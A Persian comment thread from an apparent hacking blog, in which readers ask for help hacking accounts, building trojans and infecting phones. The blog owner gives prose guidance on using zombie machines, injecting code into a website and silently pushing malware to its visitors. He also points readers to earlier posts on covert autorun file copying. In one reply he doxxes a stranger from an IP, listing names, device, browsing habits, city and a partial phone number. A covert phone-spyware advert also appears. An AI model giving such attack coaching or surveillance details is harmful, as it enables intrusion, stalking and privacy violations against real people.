    اگه میشه آموزش هک وبلاگ و وبسایت بزار
    ویروس نزار فیلترت کنن :)
    سلام داداش.ی خواهش دارم میشه هک سایت های .net رو بزاری؟ در اصل میخوام یوزر و پسورد کاربر هاشو پیدا کنم.اگه میشه اموزشش بزار ممنونت میشم.
    سلام میشه برنامه یه بدافزار رو برام ایمیل کنی که به تونه اطلاعات طرف رو برام ارسال کنه من خودم یکی دارم ولی ...................): ولش کن اگه داری برنامه رو برام ایمیل کن
    نفوذ به سیستم
    هک سایت
    سلام اگه میشه رمزو برام بفرستین rezaanikan1381@gmail.com
    در جواب دوستمون mohammadatmel دوتا کد معرفی کردین ولی وقتی کد سیو و اجرا می کنم این ارور رو میده:
    http://s3.picofile.com/file/8209639200/Untitled.png
    سلام میشه هک صفحه لاگین سایت و پیدا کردن یوزر نیم پسورد کاربر هارو بزاری؟
    خب جون من این پرسیدن داره نه مرگ من خوب معلومه دیگه هک یاد بده
    البته ببین منو
    هک با برنامه
    میدونی دیگه حوصله نوشتن ای کدارو نداریم که
    ی برنامه استارت بخوره هک کنه تموم شه تمام
    والا یک همچین برنامه ای باید خودم بنویسم
    حالا نوشتم خبرت میکنم
    ویروس همین هک بیشتر تمرکز کن روش
    سلام استاد لطفا اگه میشه فرستادن فایل یا ویروس
    رو از طریق ای پیipاموزش بدین
    سپاسگذارم ♥
    ویروس خسته نباشی.هک گوشی موبایلم بزار
    سلام دااش، میخواستم بپرسم میشه روش هک اکانت تلگرامو یاد بدید ؟ خیلی ممنون
    ساخت تروجان اگه اموزشش رو بذارین برای هک
    سلام داداش پن عاشق مطالب تو هستم ولی داداش بیشتره مطللب تو با کد نویسی هس میشه یه اموزش کد نویسی هم به ما یادبدی و ازت میخوام اموزش های اندرود رو بیشتر کنی چون این روزا بیشتر مردم از گوشی همراه استفاده میکنن باتشکر از وبلاگ خوبت
    Virus 32 :
    سلام
    آموزش کد نویسی رو تا یه جایی شروع کردم بازم قراره ادامه بدم
    برای اندروید هم چندتا نویسنده حرفه ای دارم که تازه شروع به کار کردن بزودی بازار اندروید هم داغ خواهد شد :)
  • Virus32
  • محمد پزشکیان
  • سلام اموزش واقعی هک جیمیلو می خواتستم کد کالی هم دادید دادید ولی بهتره روش ساده ترشو بگید ممنون میشم
    سلام
    یه برنامه قوی نیاز دارم برای هک بلوتوث که بتونیم از طریق گوشی به گوشی بریم تو فایل های گوشی مقابل و بتونیم یه کپی از حافظش برای خودمون بریزیم
    سلام
    خسته نباشید درخواست برنامه هک یاهو و جیمیل داشتم البته اگه هک فیسبوک هم باشه عالیه
    سلام
    درخواست برنامه و اموزش
    به یه برنامه نقشه مثل گوگل ارث نیاز دارم که انلاین باشه و کل جهانو بتونی انلاین ببینی البته این نقشه گوگل ارث افلاینه اگه انلاینش باشه که خیلی عالیه
    باسلام
    به برنامه ای احتیاج دارم که مثلا شماره همراه یا تلفن رو توش وارد کنی به صورت انلاین مکان مشخص که به صورت نقشه هست بتونه نشون بده که موبایل کجاست
    سلام داداش تو بخشا زیادیی خاستم ی رباط تبلیغ کن بزارن اما اکثرا نزاشتن یا گزاشتن خوب جواب نداده میشه یه رباط خوب بزارین .واس دانلود
    Virus 32 :
    سلام
    قراره چند تا رباط درست کنم و آموزش درست کردنش رو هم اینجا قرار بدم
    دوست ندارم رباط های برنامه نویس های دیگه رو اینجا قرار بدم خوبیت نداره!!!
    یکم کارام روبه را بشه شروع میکنم
    سلام
    داش اگه تونستی یه سرچ مطلب بزار واسه ویت خیلی خوب میشه ماها دیگه واسه یه مطلب این همه حیرون نیستیم مرسی
    Virus 32 :
    سلام عزیزم
    باشه باشه حتما
    ســـلام
    داش چی شد قرار بود یه روز بگی ویروسی که میدیم به طرف خودش باز بشه براش دیگه نخواد اجراش کنه مرسی اگه میشه لطفا بگین آفرین راستی بابا من تو بعضی ازپستا گفتم داش این سرچ کن بزار اینجا که ما این همه حیرون دنبال ی چیزی نگردیم تا بخواد یه مطلب رو که قبلا دیدی دوباره پیدا کنی میشه به اِف بی آی نفوذ کنی...
    :D بای
    Virus 32 :
    سلام
    اون سرچ رو حتما قرار میدم خودم هم داره یواش یواش لازمم میشه :)
    اونو اشاره کردم بهش پست های ساخت ویروس رو بخون اونجا درمورد اجرای خودکار توضیح دادم کدهاش رو هم نوشتم
    سلام دادا خوبی؟ یه سوال دارم ببین میتونی جواب بدی اگه بتونی عالی میشه
    سوال:الگوریتمی بنویسید که تعداد نامحدود عدد را از ورودی دریافت کند ومیانگین ان را محاسبه و چاپ کند.
    Virus 32 :
    سلام
    به چه زبانی؟ این که ساده است رفیق
    سلام ویروس، همونتور که میدونی وقتی یه عکس ارسال میشه معلوم میشه با چه ایپی ارسال شده نرم افزاری داری ایپی رو بدست بیاره؟
    Virus 32 :
    سلام
    توی cmd دستور netstat -a رو وارد کنی آی پی هارو نمایش میده
    سلام خسته نباشید
    امکانش هست ترفندای جدید چتروم رو بذارید
    سلام لطفا اگه میشه یه نرم افزار کنترل کامل وای فای بزارین که مثلا بتونم ببینم کسانی که به وای فایم متصلند چکار میکنند یا قطع و وصلشون کنم . خیلی ممنون
    سلام
    ی رباط تبلیغ تو چتروم بذارین.هرچی میگردم رایگان پیدا نمیکنم.دورک سایت های فارسی رو هم بذار
    هک چتروم هم اگه بلدی بذار.سایتت اپ نمیشه !چرا!؟
    Virus 32 :
    سلام
    اینارو ندارم :(
    بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
    سلام. داش ویروس من یه برنامه اندروید ساختم ازگچینی از مطالب سایت.امیدوارم بدرد کاربرا بخوره اینم لینک دانلود
    http://w*******************************4362a744e337afcabc2eceb/hacked_by_silent_wolf.apk.html
    Virus 32 :
    مرسی داداش برنامه ات رو ثبت کردم :)
    سلام
    یه درخواستی دارم می خوام یه فایل رو از توی گوشیه دوستم که سیستم عاملش اندروید هست رو پاک کنم
    با تشکر
    سلام میشه در مورد هک چت روم ترفندی یا نرم افزاری بزاری ؟؟؟ اگه کمکم کنی ممنون میشم ازت
    با سلام من اموزش هک اینستا رو میخام لظفا خیلیم حیاتیه برام اگ میشه ایمیل کنید برام
    سلام اموزش باگ تلگرامم لطف کنید روش استفاده از باگ تلگرام برای هک تلگرام
    سـلام
    دادا خوش حالم ک دوباره برگشتی امروز اومدم دیدم نظراتو تایید کردی خوش حال شدم
    *************************
    دادا قرار بود نحوه باز شدن ویروس رو بدون باز کردن قربانی بگی
    بدی ب طرف ولی فقط بدی بازش نکنه کارشو انجام بده
    اگه امکانش هست توضیحشو لطف مرسی
    بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
    سلام دوست عزیز
    من یه مشکل فیسبوک دارم
    زمانی که میخوام پروفایلمو به فن پیج تبدیل کنم از این لینک
    *************************************************
    این ارور رو میده اخر ثبت کردن
    Your profile cannot be migrated to a page
    و با تغییر تنظیمات مشخصات باز درست نشد نمی دونم باید چیکار کنم
    کلی گشتم تو گوگل ولی هیچی پیدا نکردم کلافه شدم
    با تشکر
    سلام
    مشه نفوذ به سیستم از ابتدایی تا حرفه ای رو بذارین؟؟؟ و همچنین نفوذ به سایت
    یه رباط واسه تبلیغ در خصوصی و عمومی چترو هم میخام میشه واسم بذارین؟
    جواب بدین ممنون میشم
    داداش ایملتو بهم بده لطفا
    Virus 32 :
    اهم
    سلام میشه هک اینستا بزارید؟
    سلام داداش میشه آموزشی چیزی در مورد v p n رایگان بدی.
    شاید بتونیم یه چرخ راحت تو اینترنت بزنیم:)
    داداش سلام
    پست جدید نمیذاری؟
    Virus 32 :
    فعلا نه
    سری بعد که اومدم نت حتما مطالب جدید میارم
    داداش یه سر به یاهو هم بزنی فک کنم بد نباشه نه؟؟آخه یه حرفایی هست اینجا نمیشه زد|یاهو ادت کردم داداش:)
    Virus 32 :
    باشه عزیز
    یکم درگیرم اینروزا زیاد نمیرسم سربزنم :(
    اوخی | هر وقت بیکار شدی دادا بیا یکم باهات حرف دارم مرسی | بوس
    سلام داداش
    یه پست جدید بذار دلمون شاد شه.با این که هرچی رو پستات کار میکنم اخر به یه بن بست میرسم خخخخخخخخ
    .
    داداش یاهو کار دارم باهات
    وقتی ک سرت خلوت شد بهم بگو
    مفصل کارت دارم
    مرسی
    نه ناموسا منظورت چی بود جواب منو ندادی؟
    Virus 32 :
    خسته ام خسته :)
    فکر کردم یکی از دوستانم در دنیای واقعیم هستی و داری تیکه میندازی بهم :)
    آموزشش رو قرار میدم
    شما دعا کن مشکلاتم زودتر حل شه من بتونم دوباره برگردم مجازی :(
    داداش جواب منم که دیگ نمیدی
    خعلی کم میای
    پست هم دیگ نمیذاری
    Virus 32 :
    شرمنده داشی خیلی گرفتارم
    ویروس جان دوباره سلام
    من یک سوال برنامه نویسی هم دارم : چطور میشه توی محیط text box multi line مثل همین جا بدون دسترسی به ابزار های ویرایش متنی نوشته های خودمونو hyper link کنیم ، در واقع سوالم اینه که امکانش هست یا نه؟
    در واقع فکر میکردم بشه مثل ویژوال استودیو که در زمان برنامه نویسی داخل خود text box با اضافه کردن کد در اجرا تغییراتی مثل ایجاد hyper link به وجود بیاریم?
    ممنون میشم پاسخ بدین ، البته اگر تونسته باشم سوالمو درست پرسیده باشم.
    Virus 32 :
    سلام عزیز
    o_O
    در چه زبانی میخوایی اینکارو کنی؟
    احتمالا منظورت html بوده
    خوب میتونیم با فشار دادن کلید f12 تو قسمت کدها یه متن به کمک کد زیر اضافه کنیم
    <a href="http://Virus32.blog.ir">متن</a>
    راستش کلا خوب متوجه منظورت نشدم
    اگه به جواب نرسیدی بیشتر توضیح بده
    سلام بهترین راه واسه نفوذ و بدست اوردن دیتا بیس یه سرور چیه؟اگه میشه جوابم بدین ممنون
    Virus 32 :
    آموزشش رو همین الان مینویسم :)
    سلام
    جایی شنیدم که میشه یک تروجان با یک زبان برنامه نویسی ساخت و اون رو به زبان ماشین تبدیل کرد با نرم افزار های مخصوص و بعد با نرم افزار های کرک برنامه ها کد های اون برنامه رو بالا اورد و کد ترجان خودمونو درون اون کد ها جا بدیم ایا صحت داره اگه صحت داره میشه یه اموزش بزاری؟
    ممنون میشم
    Virus 32 :
    سلام
    بله میشه ولی به نظرم این کار جالبی نخواهد شد
    برای اینکار اگه برنامه نصبی باشه میتونیم فایل هاشو هم جایگزین کنیم "اینجوری راحت تره تا ..."
    مثلا دیتابیس برنامه خودمون رو شبیه دیتابیس برنامه مذکور کنیم و ...
    روشی که گفتی زیاد جواب نمیده باید خیلی استاد باشی چون وقتی متن برنامه دست کاری بشه مخصوصا وقتی سیستم برنامه نوشته شده با سیستم دستکار یکی نباشه به این سادگی ها جواب نمیده حداقل خودم تا حالا نتونستم اینکارو کنم :(
    دااش سلام
    سرت خلوت شده دادا ؟
    Virus 32 :
    سلام داشی
    والا نه هنوز :(
    به قولی فقط اومدم بگم هنوز زنده ام :)
    سلام ویروس جان
    دوتا سوال :
    1) زامبی چیست؟ و چطور میتونیم یک سیستم رو خارج از محدوده خودمون بدون بجا گذاشتن رد پا زامبی کرد، به من لطف میکنی راهنمایی کنی

    2) بعضی از سایتهای فول فلش مثل سایت اصلی جنسس که کاربر بصورت سرور میتونه داخل محیط ماشین قرار بگیره و از اپشن های ماشین تست بگیره (البته فقط به عنوان مثال این سایت ..مثل استارت زدن و روشن کردن چراغهای ماشین ، بالا و پایین بردن شیشه نور و رنگبندی پشت کیلومتر و ....) راهی وجود داره که به یک متادیتا یا فلش نفوذ کرد و دستور اجرای یک thread برای اجرای یک کد .bat همزمان البته بازم مثل اموزشاتون بدون نمایش روی صفحه کاربر داد درواقع به جای اینکه کلاینت اجرا بشه سرور اجرا بشه؟ منظورم اینه که مثل sql attack مضمون یک متادیتا رو عوض کنیم

    اگر اموزشی داره ممنون میشم راهنمایی کنین.

    راستی سایتتون خیلی عالیه اگر امکانش براتون هست اموزش باگ گیری سایت ( مثل sql) رو هم به سایتتون اضافه کنین ممنون میشم توی کارام استفاده میکنم
    Virus 32 :
    سلام عزیز
    زامبی های پیشرفته ای که من تازه دارم روشون کار میکنم و آموزشش رو شروع کردم و فعلا هم هیچی بارم نیست در کل طرز کارش اینجوریه که یه فایلی رو به یه سیستمی که امنیتش پایین هست ارسال میکنیم "مثلا یک ویروس" بعد این فایل خودش خودشو استرکت میکنه و دستوراتی که از قبل براش تعین کردیم رو شروع به اجرا میکنه که این دستورات حمله به یک سایت یا سیستم دیگه و یا یک روتر و وسیله ی دیگه است که در عمل ما برای هک از یک سیستم دیگه استفاده میکنیم که روح کاربر اون سیستم هم از این ماجرا خبر نداره!!!
    میشه زامبی هارو کودکان هوش های مصنوعی دونست چون الگوریتم برنامه نویسی شون خیلی بهم شباهت دارن
    2 - منظورت رو درست متوجه نشدم در اینجا میخوایی کاربرهارو مورد حمله قرار بدی یا خود سایت رو؟ sql تکی برای سایت هاست و bat برای سیستم ها و کاربرا
    شاید هم میخوایی به سایت نفوذ کنی و از اونجا کاربرهارو مورد عنایت قرار بدی
    در کل برای اینکار بهتره دستورات داس رو با زبان قوی تری مثل سی بنویسی که ویروست بتونه فایل bat رو هم تولید کنه که مهمترین قسمت این حمله هم همین ویروست خواهد بود بعدش میشه با تزریق کد به یکی از تیبل های عادی دست یافت و به کمک اون تیبل عادی که احتمالا امنیت کمی هم داره میشه با استفاده از دستورات جاوا ویروس رو به کاربرا انتقال داد چون به کمک دستورات جاوا میشه برنامه هارو هیدن اجرا کرد :)
    درباره باگ گیری هم بعدا بحث مفصلی میکنیم
    ممنون بابت جواب سوال قبلم دقیقا
    من میتونم مثل خودت با همین دستور لینک بدم به جایی؟
    Virus 32 :
    بستگی به سرویس دهنده اش داره اگه بلاک نکرده باشه میشه این کارو کرد
    سلام ویروس جان
    شرمنده که مزاحمت میشم و سوالای عجیب غریب میپرسم
    ممنون بابت جوابها اما در مورد سوال دومم باید اضافه کنم سناریوی خاصی مد نظرمه ، میشه سایتی که سرویس دهنده خارجی داره رو مورد حمله قرار بدم که به سیستم کاربرایی که ازش دیدن میکنن ویروسی رو تزریق کنه و تعداد بازدید کنندهاش کاهش پیدا کنه دلیل سوال اولمم بی ارتباط باهاش نیست در واقع میخوام بدونم اگر سروری با ای پی unique رو به جای done کردن بتونم امارش رو پایین بیارم فکر میکنم روش هک مناسب تریه در ضمن نمیخوام از من ردپایی به جا بمونه درواقع میخوام سرور رو زامبی کنم که کاربراشو از دست بده و نیاز به دونستن دارم این مطالب دارم اگر رفرنس خاصی مد نظرتونه لینک کنین ممنون میشم

    راستش در موردش
    فعلا دارم اطلاعات بدست میارم کارم تموم بشه حتما ادرسشو لینک میکنم الان انقدر میتونم بگم که سایت غیر ایرانی هست بسیار بزرگ هست و دارای 76000+ کاربر هست و firewallش سطح 2 هست کارشم املاک و مستقلاته همراه با وام متغیر و اقامته(که همش دروغه) در واقع یک کلاه برداری کلان و متاسفم که اغلب کاربراش هم ایرانی هستن
    Virus 32 :
    سلام
    کلا این بحث خیلی طولانیه و باید درباره اش چند پست بنویسیم
    ولی این کار کلا غیرقانونی ترین روش هکه ولی اگه سایتی که گفتی حقیقت داشته باشه ارزشش رو داره

    من نمیتونم در این باره لوپ مطلب رو بگم چون خلافه قوانینه
    فقط میتونم راهنماییت کنم
    بهتره ابتدا بلایی که میخوایی سر اون سایت بیاری رو سر یه هاست رایگان بیاری یعنی خودت یه هاست درست کن و زامبیش کن
    در کل همه کارهایی که باید انجام بدی رو روی اون هاست رایگان عملیش کن
    بعد سایت قربانیتو آنالیز کن باگ درست و حسابی پیدا کن و سایت خودت رو پچ کن روش
    و یا برای پایین آوردن آمار اینجور سایت ها میتونی از راه قانونی تری عمل کنی
    "برای از بین بردن چیزی ، خوب به آن حمله نکن ، بد از آن دفاع کن"
    یعنی از سایت قربانیت از راه های غیر قانونی تبلیغ کن اینجوری سایت طرف خود به خود میره تو لیست سیاه :)
    سلام داداش
    پست جدید نذاشتی به جز اپدیت کردن دیتا بیس ؟
    Virus 32 :
    سلام
    نه هنوز
    سلام ویروس جان
    میشه یه اموزش بزاری که استفاده از api ها رو در ++c توضیح بده ؟
    ممنون میشم
    فقط یکم مقدماتی با چنتا مثال که یکم اشنا بشم چون میدونم بحث پیچیده ای هست
    Virus 32 :
    سلام عزیز
    سعی ام رو میکنم
    سلام، میشه کمکم کنین لطفا؟
    روشی برای اسنیف کردن دارین شما؟؟؟
    Virus 32 :
    سلام توی قسمت هک به کمک نرم افزار یه پست در این باره هست اونو بخون
    سلام ویروس جان خوبی
    یه کار مهم دارم تو رو خدا انجامش بده
    من یه سری کلیپ هایی دارم که خارجیه میخوام ترجمه کنم البته اینو بگم که اصلا این کلیپا زیر نویس ندارن
    هرچقد که زود جواب بدی ممنون میشم
    چیکار کنم؟
    لطف کن جوابو به ایمیل بفرست جبران میکنم باتشکر
    Virus 32 :
    سلام ممنون
    والا نمیدونم
    خوب بده به یه نفر که زبانش خوبه
    سلام دادا خیلی خیلی خیلی خیلی کم میای :(
    تو پست نذاری من چکار کنم :(
    :((((((((((((((

    Virus 32 :
    سلام
    خیلی خیلی گیرم :(
    ایشالا زود تر سرت خلوت بشه
    :((((
    میشه راه های نفوز به کامپیوتر و موبایل از طرق ای پی و چگونه میشه ان ها رو بدست اورد را اموزش بدین (چگونه با تلنت این کار رو انجام بدیم)بیشتر در مورد نفوذ به موبایل حتما بگو اقای ویروس 32 یا برام ارسال کن!
    Virus 32 :
    پست هارو خوب بخون قبلا توضیح دادم
  • Virus32
  • ارمین شیرازی
  • سلام اگه میشه اموزش هک جیمیل و به دست گرفتن جیمیل رو بذارین...ممنون
  • Virus32
  • امیر عباس
  • سلام.ایران کشوریست قدرتمند که هکر هایی دارد که آمریکا ندارد!داداش ایولا داری.میتونی آموزش هک پسورد (جیمیل) رو بزاری برامون؟اگر میزاری لطفا براش رمز نزار یا اگه میزاری به ایمیلم بفرستش.لطفا جوابمو بدید.میزارید؟
    Virus 32 :
    سلام
    ایران کشوریست که برای علمت هم باید تاوان پس داد
    نمیتونم بزارم داداش هنوز بدبختی های همینایی که گذاشتم تموم نشده :(
    سلام
    اگه میشه یه بار دیگه رمز رو بفرست
    سلام
    میخواستم درمورد اون مطلبی که درباره رمزگشایی فایل هایrar گذاشته بودید بپرسم
    همه اون کارهایی روکه گفتید انجام دادم اول یک ردیف عدد اومد وبعد از اون دیگه هیچ تغیری نکرد
    میخاستم بدونم مشکل از چی میتونه باشه؟؟
    اگه زودتر جواب بدید ممنون میشم اخه اطلاعات مهمی توی اون فایل دارم
    میشه لطف کنید رمز گشایی با Brute Force روهم اموزش بدید؟؟
    سلام ویروس جان
    تو پست قبلی استفاده از api در ++c رو خواسته بودم تونستی کار کنی؟
    Virus 32 :
    سلام عزیز
    هنوز نه
    یعنی یادم رفته بود
    سعی میکنم در آپدیت بعدی بنویسم
    slm khobi dash..
    bad nis be qalebe webet emkan search mataleb ham bedi. intori rahad tar mishe matalebo pida kard..
    uon amuzesh hack password modem ham nagofti ke ag taraf ramze modemesho avaz kone chejori mishe baz pidash kard?
    lotfan ye post ham darbare hamin matlab bezar
    Virus 32 :
    سلام ممنون
    اون امکان جستوجو یه باگ رو توی سیستمم ایجاد میکنه که هنوز راه مناسبی برای جلوگیریش پیدا نکردم به همین خاطر جستوجو رو غیرفعال کردم
    آموزش هک مودم رو هم سعی میکنم به زودی بنویسم
    سلام یک پشنهاد داشتم می خواستم بدونم ایا می توان افراد متصل به یک شبکه وای فای را هک کرد اگه میشه روش ان را پیدا کنید اموزش رو بذارین یا برام ارسال کنید| موفق باشید:)
    Virus 32 :
    سلام این آموزش رو گذاشته بودم ولی بخاطر گیرهای پی در پی دوستان پلیس فتا مجبور شدم اون پست رو پاک کنم یکم دیر کردین!!!
  • Virus32
  • Dλгκπεss☠λπɢεl
  • فتوشاپ :-) اگه یادش بدین ممنون میشم :) مثل طراحی هدر -بنر-بک گراند-درجه و تاج چتروم و ... ممنونتون میشم :) چون سایتتون کامله با آموزش فتوشاپ کامل تر میشه :_)
    Virus 32 :
    حتما
    سلام آموزش کار با نرم افزار هویج رو آموزش میدید؟
    شرمنده پیداش کردم هواسم نبود...
    Awlie karet ! ... Edame bede ... ;)- 
    سلام عامو
    خوبی؟
    میگم یه روش یاد بده بشه نظم انجمن لوتی رو بهم زد حداقل
    من یه سری رفتم عضو شدم با ده تا نام کاربری و جوک میذاشتم تو قسمتهای مستهجنش تا بی نظم بشه اما مدیریتش الان کاری کرده تا پیغاما رو خودش تایید نکنه نمایش نمیده.
    نمیشه کاری کرد آیا؟؟؟؟؟
    Virus 32 :
    سلام کاکو
    نه عزیز از این کارا بلد نیستم !!!
    سلام حاجی
    لطفا هک اینستاگرام بدون مهندسی اجتماعی رو یاد بدید.
    آموزش دیگری که میخام بروت فروس لوگین سایت میباشید.
  • Virus32
  • بیچاره شدم ویروس
  • بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
    سلام ویروس جان
    همه حجم نتم یه شبه دود شد مشکوک شدم که کسی استفاده کرده برا همین زنگ پشتیبانم زدم اونم فقط آی پی دستگاهی که وصل بوده بهم داد.خودم تو نت کشتم نتونستم یچیزی پیدا کنم که بهم بگه مدل اون دستگاه چی بوده آدرسش دقیق کجاست.گوشیه یا لبتاب برندش چیه.
    خواستم ببینم میتونی کمکم کنی؟؟
    این سایتای نت هم که من چ با لبتاب بیام چ گوشی آی پی یکیه
    در واقع آی پی کانکت نشون میده نه آی پی مخصوص هر دستگاه.
    آی پی این دزده هم اینه ببین میتونی کمکم کنی
    5.2********38
    Virus 32 :
    سلام عزیز
    اطلاعات این آی پی تو نت :

    آقایون محسن.ر و محمدرضا ع.ف رو میشناسی؟
    لپ تاپ ایسوز +
    سیستم عامل ویندوز 10
    بیشتر حجم تویه سایت غیر اخلاقی استفاده شده
    از چیز شکن سایفون استفاده کرده
    ساکن یزد ... آدرس دقیقش رو اگه لازم شد بگو ایمیل کنم
    شماره مبایل : 4989***0913
    اگه از دوستانت نیستن میتونی ازشون شکایت کنی البته نه از اسمایی که بهت دادم از اون آی پی که خودت دادی
    من فقط اسماشون رو گفتم تا شاید بشناسیشون و شاید خواستی بیخیال شی
    آی پی رو بدی فتا اونا خودشون میدونن چیکار کنن
    سلام بازم یک پیشنهاد دارم ببین چی میگم داخل نرم افزار های اجتماعی مانند تلگرام وقتی فایلی داخل گروه میزاریم اگه افرد اون رو باز کنند داخل کارت sd شون کپی می شه حالا نمیشه یک برنامه بذاریم که کنترل موبالشون رو در دست بگیریم یا اطلاعاتشون رو؟؟؟؟؟؟:)
    Virus 32 :
    سلام
    چرا نشه؟
    ولی به من گفتن که این کارا خوب نیست و ... D:
    این کارا به دردسرش نمی ارزه .... !
    سلام ببخشی من زیاد سوال می کنم ها
    1--- لطفا درباره اتوران حافطه جاسوسی که گذاشته بودین اصلاحاتی رو انجام بدین اصلا وقتی وصل میکنم به سیستم اجرا نمیشه و و باید به صورت دستی اجرا کنم
    در ضمن بگین چجوری کنم تا به صورت مخفی کپی کنه
    2--- فایل بت که برای تغییر رمز سیستم را قرار داده بودین رو دانلود کردم رمز کامپیوتر خودم که ویندوز 8 هستش و 2رمزه هست
    (الگو و نوشتاری) رو عوض کردم ولی وقتی خاموش روشن کردم بازم رمز همون بود طبق گفته شما رمز رو نوشتم و اینتر رو زدم اما فرقی نکرد . دلیل شو بگین لطفا
    Virus 32 :
    سلام اختیار داری عزیز
    جواب سوال اولت رو زیر همون پست گفتم
    جواب سوال دومت رو هم قبلا گفته بودم
    باید از سیستم به عنوان مدیر اصلی استفاده کنید نه به عنوان کاربر Run as administrator
    سلام
    داداش یخورده در مورد تگ زنی هم توضیح بده واسمون
    یه پُستی چیزی بذار
    مرسی
    Virus 32 :
    سلام
    راستش درباره تگ زنی چیزی نمیدونم :( !!!
    کلا از مهندسی اجتماعی و از این جور گول زدنا خوشم نمیاد
    سلام داداش ویروس
    من نرم افزاری دارم که تمام رو گوشی نصب میشه و تمام مکالمات و پیامک چ از لاین ، واتساپ و تلگرام همه رو ضبط میکنه و ایمیل میکنه براتون.
    برا فروش قیمتم ۷ تومن.اگه میذارید لینک درگاهشو بذارم
    Virus 32 :
    سلام سالار
    من قوی تراشو دارم ولی عمومی کردن اونا خلاف قوانینه
    به دردسرش نمی ارزه
    ویروس جان سلام
    داداش اگه میشه هک تلگرام هم بزار ممنون میشم
    سلام...
    امیدوارم خوب باشی داش ویروس... :)
    میگم دادا این مطلب تصاویر رمزش با بقیه فرق داره یا کلا من...؟
    اگه میشه رمزو بدی لطف کن بده... مرسی :)
    یا علی
    Virus 32 :
    سلام عزیز
    اون پست خصوصیه رمزش فرق میکنه
    بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
    ✅از راه دور بدون اینکه خود شخص متوجه بشه موبایلش رو کنترل کنید
    ✅به دوست دخترت شک داری؟
    ✅به دوست پسرت شک داری؟
    ✅میخوای مچ گیری کنی؟
    ✅میخوای ببینی همسرت به کی پیام میده؟
    ✅میخوای بدونی به چه کسی زنگ میزنه و اسمش چیه؟
    ✅میخوای بدونی توی تلگرام چه کاری انجام میده؟
    ✅میخوای بدونی بچه هات تو گوشیشون چه کاری انجام میدن؟
    ✅با این برنامه موبایل هر شخصی رو از راه دور بدون اینکه خودش ✅متوجه بشه کنترل کنید
    🔴برای دریافت برنامه به سایت زیر برین:

    🔴🔴🔴به قیمت نصف سایت های دیگر تهیه کنید
    👇👇👇

    ***************
    Virus 32 :
         ㋡ 
    تبلیغات قدغنه سالار
             ✋
    سلام .خسته نباشی
    قبلا تو پست"حافظه جاسوسی"یاد داده بودی تو فایل های .bat تمامی فایل هایی رو که میخوایم کپی کنه.میشه همینا تو vb.netیا #c هم بگی؟ممنون میشم
    Virus 32 :
    سلام ممنون
    این درخواستتون رو آرشیو کردم بزودی آموزشش رو قرار میدم
    سلام و خسته نباشید به ویروس عزیزم
    ویروس جان ازت خواهش میکنم یه چیزی بزار که سریال نامبر رو دور بزنه بخدا خیلی لازممه هر چه زود تر بهتر ...خیلی ممنون
    Virus 32 :
    سلام ممنون
    برای چه نرم افزاری؟
    سلام
    برای ربات کلش اف کلنز میخام
    بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
    سلام
    میگم داداش میتونی از توی سایت****************ربات کلشو مفتی دانلود کنی و لینکشو بزاری خیلی لازممه
    بخدا مدیونتم
    Virus 32 :
    سلام
    نه داشی نمیتونم همینجوریش کلی بدبختی دارم اینو نخواه دیگه
    با سلامی دوباره
    ویروس جان اگه میشه برنامه ی هک جمیلو برام بفرس البته میتونی این نظزو تایید نکنی چون که بعضیا جنبشو ندارن
    ببخشید که تو زحمتت میندازم ولی ازت خواهش میکنم که اون برنامه رو بفرستی
    یا اگه این جور برنامه ای نیست روششو بنویس بفرس
    داداشمی دوست دارم
    Virus 32 :
    سلام آجی یا داشی عزیز!!!
    به چی قسم بخورم تا قبول کنی همچین برنامه ای وجود نداره؟؟؟
    نیست عزیز نیست
    سلام داداش
    مشکلاتت برطرف شد ؟؟؟؟

    دادا در مورد سئو و این چیزا یه پست بذاری ممنونت میشم :)
    Virus 32 :
    سلام رفیق
    نه هنوز
    داشی بهت قول میدم دفعه بعد که اومدم بخاطرت یه وب رو سئو کنم و آموزشش رو هم بنویسم
  • Virus32
  • بیچاره شدم
  • سلام ویروس جان نه نمیشناسمشون
    لطفا آدرس کاملشو برام ایمیل کن

    saminsepas4@gmail.com
    Virus 32 :
    سلام عزیز
    باشه
    سلام
    اقا اون اموزش هک افراد متصل به وای فای رو برام ارسال کن دیگه! من هرچی میگم شما میگید خوب نیست! حذفش کردم! فلان کردم!
    دیگه این کارو که می تونی بکنی:(
    Virus 32 :
    سلام
    کدوم یکی؟ نفوذ یا اخراج کردنشون؟
    ; using System


    ()private void Welcome_Back
    }

    ; string answer

    ;(" :) Console.WriteLine("Salam Virus
    ;()Console.WriteLine
    ;(" Console.WriteLine("Khosh hal shodam baz matlab gozashti
    ;("Console.Write("felan man iekam dargir konkoram vali
    ;("Console.Write("dar asrae vaght matalebet ro mikhonam
    ;("!!Console.Write("ie chand ta soal dashtam darbare virus va in chiza
    ;("Console.Write("age vaght dashti ie email behem bezan

    ;()answer = Console.ReadLine

    ;(Console.WriteLine("Virus 32 answer is : " + answer
    ?! C# ke baladi //
    {
    Virus 32 :
    سلام وریا جان
    خوشحالم که دوباره اسمت رو میبینم
    کاش سوالت رو اینجا میپرسیدی یا ایمیل میکردی تا هر وقت دیدم سریع بتونم جواب بدم
    سعی میکنم ایمیل بفرستم ولی قول نمیدم داشی ♥
    سلامی دوباره
    ببخشید خیلی مزاحم میشم
    به نظرات خصوصی هم سر میزنی عایا؟
    Virus 32 :
    :)
    سلام
    بله بله حواسم هست
    میشه ساخت یه انتی ویروس ساده رو بگی ممنون میشم
    Virus 32 :
    :/
    آنتی ویروس بــَــده D:
    اقا فقط نفوذ چیزهای دیگه رو ولش کن!
  • Virus32
  • بیچاره شدم
  • سلام داداش ویروس بازم بیچاره شدم
    نمیتونم وارد اکانت فیسبوکم بشم رمزم درسته اما پیغام میده که اکانتمو قفل کرده و هدایتم میکنه به سوال تاریخ تولد و اینا که اصلا یادم نیست چی گذاشتم
    الان باید چیکار کنم؟؟
    میخوام اکانتمو کلا پاک کنم یا حداقل عکسای توش رو حذف کنم
    خیلی ضروریه ممنون میشم کمکم کنی
    Virus 32 :
    سلام از فیس بوک زیاد سر درنمیارم
    خیلی وقته بهش سر نزدم نمیدونم چی به چیه
    سلام ویروس جان
    اگه میشه اموزش بدین که چجوری فایلی رودر یک نوع فایل دیگه مخفی کنیم
    که با اجرا کردن فایل قابل مشاهده - فایل مخفی هم اجرا بشه
    Virus 32 :
    سلام
